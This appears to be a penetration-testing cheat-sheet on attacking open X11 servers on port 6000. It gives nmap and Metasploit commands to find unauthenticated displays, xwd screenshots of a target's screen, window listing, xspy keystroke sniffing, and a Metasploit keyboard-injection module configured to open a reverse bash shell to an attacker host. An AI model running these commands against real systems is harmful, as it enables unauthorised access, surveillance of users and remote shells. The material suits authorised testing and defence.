6000 - X11

The X Window System (X11, or simply X) is a windowing system for bitmap displays, common on Unix-like operating systems. X provides the basic framework for a GUI environment.

Nmap

Script:

x11-access.nse

Host script results: |_ x11-access: X server access is granted

Sensepost created the following nmap script

https://github.com/sensepost/x11-active-displays

Usage

nmap -p6000 <host> --script x11-active-displays.nse
nmap -p6000 <host> --script x11-active-displays.nse --script-args=unsafe=1,dir="/home/<username>/Documents/"

Output

Host script results:
| x11-active-displays: X server access is granted
|     Active display
|_    Screenshot saved to /tmp/<ip>:<dp>.jpg
Host script results:
| x11-active-displays: X server access is granted
|_    No active display

Metasploit

X11 No-Auth Scanner - Module scans for X11 servers that allow anyone to connect without authentication.

auxiliary/scanner/x11/open_x11

Connect to X11 server

Xorg:

sudo Xorg -terminate -query $REMOTE_HOST :1

Using X:

X :1 -query s390vm.example.com

• To exit press 'ctrl+alt+enter'

To enable XDMCP in Remmina run the following:

sudo apt-get install remmina-plugin-xdmcp

Taking screenshot

xwd

XWD It is an X Window System utility that helps in taking screenshots. On our Kali System, we will use the xwd to take the screenshot of Xserver. This utility takes the screenshots in xwd format.

To take a screenshot run:

xwd -root -screen -silent -display 192.168.1.109:0 > screenshot.xwd

Here we have the screenshot captured by the xwd, but it is in .xwd format, so to view it we will have to convert it to a viewable format like .png

Note: You may need to install imagemagick to convert to png, convert is not pre installed on kali

convert screenshot.xwd screenshot.png

On opening the png file we can see that the xwd tool has successfully captured the screenshot of the target system.

xrdp

iron@kali2:/opt/xrdp$ python xrdp.py 192.168.0.62:0 
              _        
__  ___ __ __| |_ __   
\ \/ / '__/ _` | '_ \  
 >  <| | | (_| | |_) | 
/_/\_\_|  \__,_| .__/  
               |_|     
X11 Remote Desktop 
xrdp.py <host>:<dp> 
------------------------ 
Example: 
xrdp.py 10.0.0.10:0 
xrdp.py 10.0.0.10:0 --no-disp 

Gaining remote shell

we will use the X11 Keyboard Command Injection module of the Metasploit Framework. This module exploits open X11 Server by connecting and registering a virtual keyboard. Then the Virtual Keyboard is used to open an xterm or gnome-terminal and then type and execute the payload.

NOTE: As X Server is a visual service, while the executing of the module will take place, every task occurring on the Target System will be visible to the Victim.

Now, after opening the Metasploit Framework, we will use the payload as shown:

use unix/x11/x11_keyboard_exec 
msf exploit(unix/x11x11_keyboard_exec) > set rhost 192.168.1.109 
msf exploit(unix/x11x11_keyboard_exec) > set payload cmd/unix/reverse_bash 
msf exploit(unix/x11x11_keyboard_exec) > set lhost 192.168.1.120 
msf exploit(unix/x11x11_keyboard_exec) > set lport 4444 
msf exploit(unix/x11x11_keyboard_exec) > set time_wait 10 
msf exploit(unix/x11x11_keyboard_exec) >  run 

After running the module, it will first connect to the Server and search for xterm and open it. Then after waiting for 10 seconds as its the wait time we gave earlier, it will start typing the script command on the xterm, After executing this command, xterm will get closed, but it will provide a command shell to the Attacker.

Gather information on the windows open

XWININFO - This is the built-in utility in Kali, it shows the window’s information for X Service. xwininfo can be used to get information about the windows opened on the target system.

xwininfo -root -tree -display 192.168.1.109:0

• Root = specifies that X’s root window is the target window

• Tree = displays the names of the windows

• Display = specify the server to connect to

We can extract much information from the screenshot like:

• The victim has Gnome Terminal Opened

• The victim is a VMware user

• The victim has Nautilus (Ubuntu File Browser) Opened

Capture keystrokes

XSPY It is a built-in tool Kali Linux for the X Window Servers. XSPY is a sniffer, it sniffs keystrokes on the remote or local X Server.